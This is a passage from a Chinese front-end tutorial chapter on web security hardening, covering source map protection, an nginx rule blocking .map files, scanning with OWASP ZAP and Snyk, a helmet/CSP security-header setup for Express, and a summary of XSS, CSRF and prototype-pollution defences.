javascript-obfuscator 专用混淆器 控制流扁平化、字符串加密、死代码注入
webpack + TerserPlugin 构建集成 最常用的生产构建方案
javascript 复制代码
// webpack.config.js 中的 Terser 配置
import TerserPlugin from "terser-webpack-plugin";

export default {
  optimization: {
    minimize: true,
    minimizer: [
      new TerserPlugin({
        terserOptions: {
          compress: { drop_console: true, drop_debugger: true },
          mangle: { toplevel: true },           // 顶层变量名混淆
          output: { comments: false }           // 移除注释
        }
      })
    ]
  }
};

42.8.3 Source Map 安全

Source Map 让开发者能在生产环境中映射回源代码进行调试------但同时也暴露了完整的源代码给攻击者。

javascript 复制代码
// 生产环境的 Source Map 类型选择
// webpack 的 devtool 选项

// ✅ 生产环境推荐
devtool: "hidden-source-map"   // 生成 .map 文件但不在 bundle 中引用
devtool: "nosources-source-map" // 有行列映射但不含源代码

// ❌ 生产环境禁用
devtool: "source-map"          // 完整源代码暴露
devtool: "eval-source-map"     // eval 中嵌入源代码

最佳实践:

复制代码
1. 生产构建使用 hidden-source-map
2. .map 文件上传到**内部错误监控系统**(Sentry / Bugsnag),不部署到公网
3. Web 服务器拒绝 .map 文件的访问
4. 需要线上调试时,用内部工具上传 .map 文件定位问题
nginx 复制代码
# Nginx:禁止外部访问 .map 文件
location ~* \.map$ {
  deny all;
  return 404;
}
Source Map 类型 源代码暴露 行列映射 生产环境
source-map ✅ 完整暴露 ✅ ❌ 禁用
hidden-source-map 不引用(但文件存在) ✅ ✅ 推荐
nosources-source-map 不含源代码 ✅ ✅ 推荐
eval-source-map eval 中嵌入 ✅ ❌ 禁用
不生成 - - ✅ 最安全

经验法则 :生产环境绝不部署 source-map 。用 hidden-source-map + 内部监控系统(Sentry)的组合:错误堆栈能映射到源代码行号,但外部用户拿不到源代码。


42.9 实战:安全检测工具使用、安全头配置

42.9.1 安全检测工具实战

工具一:OWASP ZAP(免费开源扫描器)
shell 复制代码
# Docker 方式运行 ZAP
docker run -t owasp/zap2docker-stable zap-baseline.py -t https://myapp.com

# 输出示例
# PASS: Cookie No HttpOnly Flag [10010]
# WARN: Content Security Policy Header Not Set [10038]
# FAIL: Anti-clickjacking Header [10020]
# FAIL: X-Content-Type-Options Header Missing [10021]

ZAP 自动检测的项目:

  • 缺失的安全响应头
  • Cookie 安全标志(HttpOnly / Secure / SameSite)
  • SQL 注入 / XSS 漏洞
  • 不安全的 HTTP 方法
工具二:Security Headers 在线检测

访问 securityheaders.com,输入网站 URL,获取安全头评分(A+ ~ F):

复制代码
检测结果示例:
A+ https://myapp.com
  ✅ Content-Security-Policy
  ✅ Strict-Transport-Security
  ✅ X-Content-Type-Options
  ✅ X-Frame-Options
  ✅ Referrer-Policy
  ✅ Permissions-Policy
  ❌ Cross-Origin-Embedder-Policy (可选)
工具三:Snyk 依赖漏洞扫描
shell 复制代码
# 扫描当前项目
npx snyk test

# 输出示例
# Testing /home/user/myapp...
# ✗ High severity vulnerability found in lodash@4.17.15
#   introduced via express > lodash
#   Fix: upgrade lodash to 4.17.21
#
# ✗ Medium severity vulnerability found in axios@0.21.0
#   introduced via myapp > axios
#   Fix: upgrade axios to 0.21.2

42.9.2 完整安全头配置(Node.js / Express)

javascript 复制代码
// middleware/security-headers.js
import helmet from "helmet";

export function securityHeaders(app) {
  // helmet 一站式配置大部分安全头
  app.use(helmet({
    // CSP 详细配置
    contentSecurityPolicy: {
      directives: {
        defaultSrc: ["'self'"],
        scriptSrc: ["'self'", "'nonce-abc123'", "https://cdn.example.com"],
        styleSrc: ["'self'", "'unsafe-inline'", "https://fonts.googleapis.com"],
        imgSrc: ["'self'", "data:", "https:"],
        fontSrc: ["'self'", "https://fonts.gstatic.com"],
        connectSrc: ["'self'", "https://api.example.com"],
        frameAncestors: ["'none'"],
        baseUri: ["'self'"],
        formAction: ["'self'"]
      }
    },
    // HSTS:强制 HTTPS(1 年,含子域名)
    hsts: {
      maxAge: 31536000,
      includeSubDomains: true,
      preload: true
    },
    // 防止 MIME 类型嗅探
    noSniff: true,
    // 防止点击劫持
    frameguard: { action: "deny" },
    // 隐藏 X-Powered-By
    hidePoweredBy: true,
    // Referrer 策略
    referrerPolicy: { policy: "strict-origin-when-cross-origin" }
  }));

  // 额外的 Permissions-Policy(原 Feature-Policy)
  app.use((req, res, next) => {
    res.setHeader(
      "Permissions-Policy",
      "camera=(), microphone=(), geolocation=(), payment=()"
    );
    // Cross-Origin 系列
    res.setHeader("Cross-Origin-Opener-Policy", "same-origin");
    res.setHeader("Cross-Origin-Resource-Policy", "same-origin");
    res.setHeader("Cross-Origin-Embedder-Policy", "require-corp");
    next();
  });
}

42.9.3 安全头配置对照表

安全头 防御目标 推荐值
Content-Security-Policy XSS、数据注入 default-src 'self'; ...
X-Frame-Options 点击劫持 DENY
X-Content-Type-Options MIME 嗅探 nosniff
Strict-Transport-Security 降级攻击(HTTP → HTTPS) max-age=31536000; includeSubDomains
Referrer-Policy 信息泄露 strict-origin-when-cross-origin
Permissions-Policy 浏览器功能滥用 camera=(), microphone=()
Cross-Origin-Opener-Policy 跨域窗口攻击 same-origin
Cross-Origin-Resource-Policy 跨域资源窃取 same-origin
Cross-Origin-Embedder-Policy 跨域嵌入 require-corp

42.9.4 安全检查清单

检查项 工具 通过标准
安全头配置 securityheaders.com A 或 A+
依赖漏洞 npm audit / Snyk 0 High / Critical
XSS 漏洞 OWASP ZAP / 手动测试 0 漏洞
Cookie 安全 DevTools → Application → Cookies 全部 HttpOnly + Secure
CSP 有效性 CSP Evaluator (Google) 无 unsafe-inline / unsafe-eval
Source Map 泄露 访问 .map URL 404 Not Found
HTTPS 配置 SSL Labs A+
原型链污染 代码审查 + __proto__ 黑名单 全部输入点已防护

42.9.5 完整安全加固流程

#mermaid-svg-mzHY3dTsPK77VQSH{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}@keyframes edge-animation-frame{from{stroke-dashoffset:0;}}@keyframes dash{to{stroke-dashoffset:0;}}#mermaid-svg-mzHY3dTsPK77VQSH .edge-animation-slow{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 50s linear infinite;stroke-linecap:round;}#mermaid-svg-mzHY3dTsPK77VQSH .edge-animation-fast{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 20s linear infinite;stroke-linecap:round;}#mermaid-svg-mzHY3dTsPK77VQSH .error-icon{fill:#552222;}#mermaid-svg-mzHY3dTsPK77VQSH .error-text{fill:#552222;stroke:#552222;}#mermaid-svg-mzHY3dTsPK77VQSH .edge-thickness-normal{stroke-width:1px;}#mermaid-svg-mzHY3dTsPK77VQSH .edge-thickness-thick{stroke-width:3.5px;}#mermaid-svg-mzHY3dTsPK77VQSH .edge-pattern-solid{stroke-dasharray:0;}#mermaid-svg-mzHY3dTsPK77VQSH .edge-thickness-invisible{stroke-width:0;fill:none;}#mermaid-svg-mzHY3dTsPK77VQSH .edge-pattern-dashed{stroke-dasharray:3;}#mermaid-svg-mzHY3dTsPK77VQSH .edge-pattern-dotted{stroke-dasharray:2;}#mermaid-svg-mzHY3dTsPK77VQSH .marker{fill:#333333;stroke:#333333;}#mermaid-svg-mzHY3dTsPK77VQSH .marker.cross{stroke:#333333;}#mermaid-svg-mzHY3dTsPK77VQSH svg{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;}#mermaid-svg-mzHY3dTsPK77VQSH p{margin:0;}#mermaid-svg-mzHY3dTsPK77VQSH .label{font-family:"trebuchet ms",verdana,arial,sans-serif;color:#333;}#mermaid-svg-mzHY3dTsPK77VQSH .cluster-label text{fill:#333;}#mermaid-svg-mzHY3dTsPK77VQSH .cluster-label span{color:#333;}#mermaid-svg-mzHY3dTsPK77VQSH .cluster-label span p{background-color:transparent;}#mermaid-svg-mzHY3dTsPK77VQSH .label text,#mermaid-svg-mzHY3dTsPK77VQSH span{fill:#333;color:#333;}#mermaid-svg-mzHY3dTsPK77VQSH .node rect,#mermaid-svg-mzHY3dTsPK77VQSH .node circle,#mermaid-svg-mzHY3dTsPK77VQSH .node ellipse,#mermaid-svg-mzHY3dTsPK77VQSH .node polygon,#mermaid-svg-mzHY3dTsPK77VQSH .node path{fill:#ECECFF;stroke:#9370DB;stroke-width:1px;}#mermaid-svg-mzHY3dTsPK77VQSH .rough-node .label text,#mermaid-svg-mzHY3dTsPK77VQSH .node .label text,#mermaid-svg-mzHY3dTsPK77VQSH .image-shape .label,#mermaid-svg-mzHY3dTsPK77VQSH .icon-shape .label{text-anchor:middle;}#mermaid-svg-mzHY3dTsPK77VQSH .node .katex path{fill:#000;stroke:#000;stroke-width:1px;}#mermaid-svg-mzHY3dTsPK77VQSH .rough-node .label,#mermaid-svg-mzHY3dTsPK77VQSH .node .label,#mermaid-svg-mzHY3dTsPK77VQSH .image-shape .label,#mermaid-svg-mzHY3dTsPK77VQSH .icon-shape .label{text-align:center;}#mermaid-svg-mzHY3dTsPK77VQSH .node.clickable{cursor:pointer;}#mermaid-svg-mzHY3dTsPK77VQSH .root .anchor path{fill:#333333!important;stroke-width:0;stroke:#333333;}#mermaid-svg-mzHY3dTsPK77VQSH .arrowheadPath{fill:#333333;}#mermaid-svg-mzHY3dTsPK77VQSH .edgePath .path{stroke:#333333;stroke-width:2.0px;}#mermaid-svg-mzHY3dTsPK77VQSH .flowchart-link{stroke:#333333;fill:none;}#mermaid-svg-mzHY3dTsPK77VQSH .edgeLabel{background-color:rgba(232,232,232, 0.8);text-align:center;}#mermaid-svg-mzHY3dTsPK77VQSH .edgeLabel p{background-color:rgba(232,232,232, 0.8);}#mermaid-svg-mzHY3dTsPK77VQSH .edgeLabel rect{opacity:0.5;background-color:rgba(232,232,232, 0.8);fill:rgba(232,232,232, 0.8);}#mermaid-svg-mzHY3dTsPK77VQSH .labelBkg{background-color:rgba(232, 232, 232, 0.5);}#mermaid-svg-mzHY3dTsPK77VQSH .cluster rect{fill:#ffffde;stroke:#aaaa33;stroke-width:1px;}#mermaid-svg-mzHY3dTsPK77VQSH .cluster text{fill:#333;}#mermaid-svg-mzHY3dTsPK77VQSH .cluster span{color:#333;}#mermaid-svg-mzHY3dTsPK77VQSH div.mermaidTooltip{position:absolute;text-align:center;max-width:200px;padding:2px;font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:12px;background:hsl(80, 100%, 96.2745098039%);border:1px solid #aaaa33;border-radius:2px;pointer-events:none;z-index:100;}#mermaid-svg-mzHY3dTsPK77VQSH .flowchartTitleText{text-anchor:middle;font-size:18px;fill:#333;}#mermaid-svg-mzHY3dTsPK77VQSH rect.text{fill:none;stroke-width:0;}#mermaid-svg-mzHY3dTsPK77VQSH .icon-shape,#mermaid-svg-mzHY3dTsPK77VQSH .image-shape{background-color:rgba(232,232,232, 0.8);text-align:center;}#mermaid-svg-mzHY3dTsPK77VQSH .icon-shape p,#mermaid-svg-mzHY3dTsPK77VQSH .image-shape p{background-color:rgba(232,232,232, 0.8);padding:2px;}#mermaid-svg-mzHY3dTsPK77VQSH .icon-shape .label rect,#mermaid-svg-mzHY3dTsPK77VQSH .image-shape .label rect{opacity:0.5;background-color:rgba(232,232,232, 0.8);fill:rgba(232,232,232, 0.8);}#mermaid-svg-mzHY3dTsPK77VQSH .label-icon{display:inline-block;height:1em;overflow:visible;vertical-align:-0.125em;}#mermaid-svg-mzHY3dTsPK77VQSH .node .label-icon path{fill:currentColor;stroke:revert;stroke-width:revert;}#mermaid-svg-mzHY3dTsPK77VQSH :root{--mermaid-font-family:"trebuchet ms",verdana,arial,sans-serif;} 项目初始化
安全头配置

(helmet + CSP)
Cookie 安全

(HttpOnly + Secure + SameSite)
依赖审计

(npm audit + Snyk)
输入验证与输出编码

(防 XSS / 原型链污染)
安全测试

(OWASP ZAP 扫描)
Source Map 保护

(hidden-source-map)
CI 集成

(每次 PR 自动扫描)
定期复查

(每月 audit + 依赖更新)

经验法则 :安全不是一次性工作,而是持续过程------依赖要定期更新、安全头要定期检查、新代码要安全审查。把安全检查集成到 CI 流程中,让每次 PR 自动过安全关。


总结

#mermaid-svg-K5KBFzIC6jpCnpfe{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}@keyframes edge-animation-frame{from{stroke-dashoffset:0;}}@keyframes dash{to{stroke-dashoffset:0;}}#mermaid-svg-K5KBFzIC6jpCnpfe .edge-animation-slow{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 50s linear infinite;stroke-linecap:round;}#mermaid-svg-K5KBFzIC6jpCnpfe .edge-animation-fast{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 20s linear infinite;stroke-linecap:round;}#mermaid-svg-K5KBFzIC6jpCnpfe .error-icon{fill:#552222;}#mermaid-svg-K5KBFzIC6jpCnpfe .error-text{fill:#552222;stroke:#552222;}#mermaid-svg-K5KBFzIC6jpCnpfe .edge-thickness-normal{stroke-width:1px;}#mermaid-svg-K5KBFzIC6jpCnpfe .edge-thickness-thick{stroke-width:3.5px;}#mermaid-svg-K5KBFzIC6jpCnpfe .edge-pattern-solid{stroke-dasharray:0;}#mermaid-svg-K5KBFzIC6jpCnpfe .edge-thickness-invisible{stroke-width:0;fill:none;}#mermaid-svg-K5KBFzIC6jpCnpfe .edge-pattern-dashed{stroke-dasharray:3;}#mermaid-svg-K5KBFzIC6jpCnpfe .edge-pattern-dotted{stroke-dasharray:2;}#mermaid-svg-K5KBFzIC6jpCnpfe .marker{fill:#333333;stroke:#333333;}#mermaid-svg-K5KBFzIC6jpCnpfe .marker.cross{stroke:#333333;}#mermaid-svg-K5KBFzIC6jpCnpfe svg{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;}#mermaid-svg-K5KBFzIC6jpCnpfe p{margin:0;}#mermaid-svg-K5KBFzIC6jpCnpfe .label{font-family:"trebuchet ms",verdana,arial,sans-serif;color:#333;}#mermaid-svg-K5KBFzIC6jpCnpfe .cluster-label text{fill:#333;}#mermaid-svg-K5KBFzIC6jpCnpfe .cluster-label span{color:#333;}#mermaid-svg-K5KBFzIC6jpCnpfe .cluster-label span p{background-color:transparent;}#mermaid-svg-K5KBFzIC6jpCnpfe .label text,#mermaid-svg-K5KBFzIC6jpCnpfe span{fill:#333;color:#333;}#mermaid-svg-K5KBFzIC6jpCnpfe .node rect,#mermaid-svg-K5KBFzIC6jpCnpfe .node circle,#mermaid-svg-K5KBFzIC6jpCnpfe .node ellipse,#mermaid-svg-K5KBFzIC6jpCnpfe .node polygon,#mermaid-svg-K5KBFzIC6jpCnpfe .node path{fill:#ECECFF;stroke:#9370DB;stroke-width:1px;}#mermaid-svg-K5KBFzIC6jpCnpfe .rough-node .label text,#mermaid-svg-K5KBFzIC6jpCnpfe .node .label text,#mermaid-svg-K5KBFzIC6jpCnpfe .image-shape .label,#mermaid-svg-K5KBFzIC6jpCnpfe .icon-shape .label{text-anchor:middle;}#mermaid-svg-K5KBFzIC6jpCnpfe .node .katex path{fill:#000;stroke:#000;stroke-width:1px;}#mermaid-svg-K5KBFzIC6jpCnpfe .rough-node .label,#mermaid-svg-K5KBFzIC6jpCnpfe .node .label,#mermaid-svg-K5KBFzIC6jpCnpfe .image-shape .label,#mermaid-svg-K5KBFzIC6jpCnpfe .icon-shape .label{text-align:center;}#mermaid-svg-K5KBFzIC6jpCnpfe .node.clickable{cursor:pointer;}#mermaid-svg-K5KBFzIC6jpCnpfe .root .anchor path{fill:#333333!important;stroke-width:0;stroke:#333333;}#mermaid-svg-K5KBFzIC6jpCnpfe .arrowheadPath{fill:#333333;}#mermaid-svg-K5KBFzIC6jpCnpfe .edgePath .path{stroke:#333333;stroke-width:2.0px;}#mermaid-svg-K5KBFzIC6jpCnpfe .flowchart-link{stroke:#333333;fill:none;}#mermaid-svg-K5KBFzIC6jpCnpfe .edgeLabel{background-color:rgba(232,232,232, 0.8);text-align:center;}#mermaid-svg-K5KBFzIC6jpCnpfe .edgeLabel p{background-color:rgba(232,232,232, 0.8);}#mermaid-svg-K5KBFzIC6jpCnpfe .edgeLabel rect{opacity:0.5;background-color:rgba(232,232,232, 0.8);fill:rgba(232,232,232, 0.8);}#mermaid-svg-K5KBFzIC6jpCnpfe .labelBkg{background-color:rgba(232, 232, 232, 0.5);}#mermaid-svg-K5KBFzIC6jpCnpfe .cluster rect{fill:#ffffde;stroke:#aaaa33;stroke-width:1px;}#mermaid-svg-K5KBFzIC6jpCnpfe .cluster text{fill:#333;}#mermaid-svg-K5KBFzIC6jpCnpfe .cluster span{color:#333;}#mermaid-svg-K5KBFzIC6jpCnpfe div.mermaidTooltip{position:absolute;text-align:center;max-width:200px;padding:2px;font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:12px;background:hsl(80, 100%, 96.2745098039%);border:1px solid #aaaa33;border-radius:2px;pointer-events:none;z-index:100;}#mermaid-svg-K5KBFzIC6jpCnpfe .flowchartTitleText{text-anchor:middle;font-size:18px;fill:#333;}#mermaid-svg-K5KBFzIC6jpCnpfe rect.text{fill:none;stroke-width:0;}#mermaid-svg-K5KBFzIC6jpCnpfe .icon-shape,#mermaid-svg-K5KBFzIC6jpCnpfe .image-shape{background-color:rgba(232,232,232, 0.8);text-align:center;}#mermaid-svg-K5KBFzIC6jpCnpfe .icon-shape p,#mermaid-svg-K5KBFzIC6jpCnpfe .image-shape p{background-color:rgba(232,232,232, 0.8);padding:2px;}#mermaid-svg-K5KBFzIC6jpCnpfe .icon-shape .label rect,#mermaid-svg-K5KBFzIC6jpCnpfe .image-shape .label rect{opacity:0.5;background-color:rgba(232,232,232, 0.8);fill:rgba(232,232,232, 0.8);}#mermaid-svg-K5KBFzIC6jpCnpfe .label-icon{display:inline-block;height:1em;overflow:visible;vertical-align:-0.125em;}#mermaid-svg-K5KBFzIC6jpCnpfe .node .label-icon path{fill:currentColor;stroke:revert;stroke-width:revert;}#mermaid-svg-K5KBFzIC6jpCnpfe :root{--mermaid-font-family:"trebuchet ms",verdana,arial,sans-serif;} 第42章:安全与最佳实践
攻击与防御
策略配置
供应链与构建
实战
XSS 原理与防御 / CSRF 原理与防御 / 原型链污染 / 点击劫持
CSP 内容安全策略 / 安全响应头
敏感数据处理 / npm 审计 / 代码混淆与 Source Map
安全检测工具 / 安全头配置全流程

知识点 核心内容
XSS 三种类型 反射型(URL 参数)、存储型(数据库)、DOM 型(纯客户端)
XSS 多层防御 输入验证 + 输出编码 + 框架自动转义 + HttpOnly Cookie + CSP
CSRF 原理 利用浏览器自动携带 Cookie 的机制,冒充用户发送请求
CSRF 防御 SameSite Cookie(首选)+ CSRF Token(补充)+ Origin 检查(辅助)
CSP HTTP 响应头白名单,限制脚本/样式/图片等资源的来源
CSP 关键指令 default-src / script-src / frame-ancestors / report-uri
原型链污染 通过 __proto__ 修改 Object.prototype,影响所有对象
原型链防御 Object.create(null) / Object.freeze / __proto__ 黑名单 / Map
点击劫持 透明 iframe 覆盖 + 诱导点击;防御用 X-Frame-Options + frame-ancestors
密码存储 绝不明文,使用 bcrypt / scrypt / Argon2 加盐哈希
Token 存储 HttpOnly + Secure + SameSite Cookie,避免 localStorage
npm 审计 npm audit / Snyk / socket.dev 检查依赖漏洞
代码混淆 Terser 基础混淆 + javascript-obfuscator 深度混淆
Source Map 生产用 hidden-source-map,.map 文件仅上传内部监控系统
安全头配置 helmet 一站式 + 9 种安全响应头完整配置

关键原则:

  • 安全是多层防御(Defense in Depth):任何单一措施都可能被绕过,多层叠加才可靠
  • 永远不要信任用户输入------输入验证 + 输出编码 + CSP 三层防御缺一不可
  • innerHTML / v-html / dangerouslySetInnerHTML 是 XSS 的高危入口,使用时必须确保输入已净化
  • SameSite Cookie 是防 CSRF 的首选:现代浏览器默认 Lax,但仍需显式配置
  • CSP 是 XSS 的最后一道防线:先开 Report-Only 观察,确认无误后切换到强制模式
  • 原型链污染的根因是 __proto__ 键------所有深合并操作都要加黑名单过滤
  • 密码绝不明文存储:bcrypt / Argon2 加盐哈希是唯一正解
  • Token 存 HttpOnly Cookie,避免 localStorage------XSS 可直接读取
  • 生产环境绝不部署 source-map :用 hidden-source-map + 内部监控系统
  • 安全不是一次性工作:依赖定期更新、安全头定期检查、新代码安全审查

本篇为前端学习系列的正文最后一章 。接下来进入附录部分:

  • 附录 A:ES6+ 新特性速查表(ES2015 ~ ES2024)
  • 附录 B:JavaScript 内置对象与方法速查
  • 附录 C:TypeScript 基础入门
  • 附录 D:推荐学习资源与书籍
  • 附录 E:常见面试题索引(按章节归类)

附录将作为工具手册,随时查阅。


下篇预告 :附录


作者 :xhmico | CSDN 博客 :https://blog.csdn.net/xhmico

参考资源 :The Modern JavaScript Tutorial | MDN Web Docs | ECMAScript 规范

相关推荐
30955666610 分钟前
股票数据落库前的去重与主键设计:一次 SQLite 写入实录
java·开发语言·jvm·数据库·redis·python·sqlite
泯泷12 分钟前
第三章:lit-html的威力 - 精通声明式模板
前端·javascript·web components
利威尔xu1 小时前
2026-11-19-Go反射为什么慢面试
开发语言·面试·golang
bai2731 小时前
npm 在 cmd 里能跑,Node 的 spawn 一调就 EINVAL:Windows 上 .cmd 的六种调法实测
javascript·后端
山楂树の1 小时前
Python 函数:参数、作用域、Lambda 与类型注解
开发语言·python
旖旎夜光1 小时前
【C 语言】(一)(下)指针进阶:const、二级指针、函数指针与指针题
c语言·开发语言·笔记·学习
炸薯条!1 小时前
Python装饰器详解:从闭包原理到语法糖,再到多个装饰器
开发语言·python
星落梦生2 小时前
苍穹外卖day3——阿里云oss文件上传
java·开发语言
asaotomo2 小时前
把浏览器变成安全工作台:Hx0 鹰眼 v1.0.7 功能全解与 6 个落地场景
安全·web安全·渗透测试·浏览器插件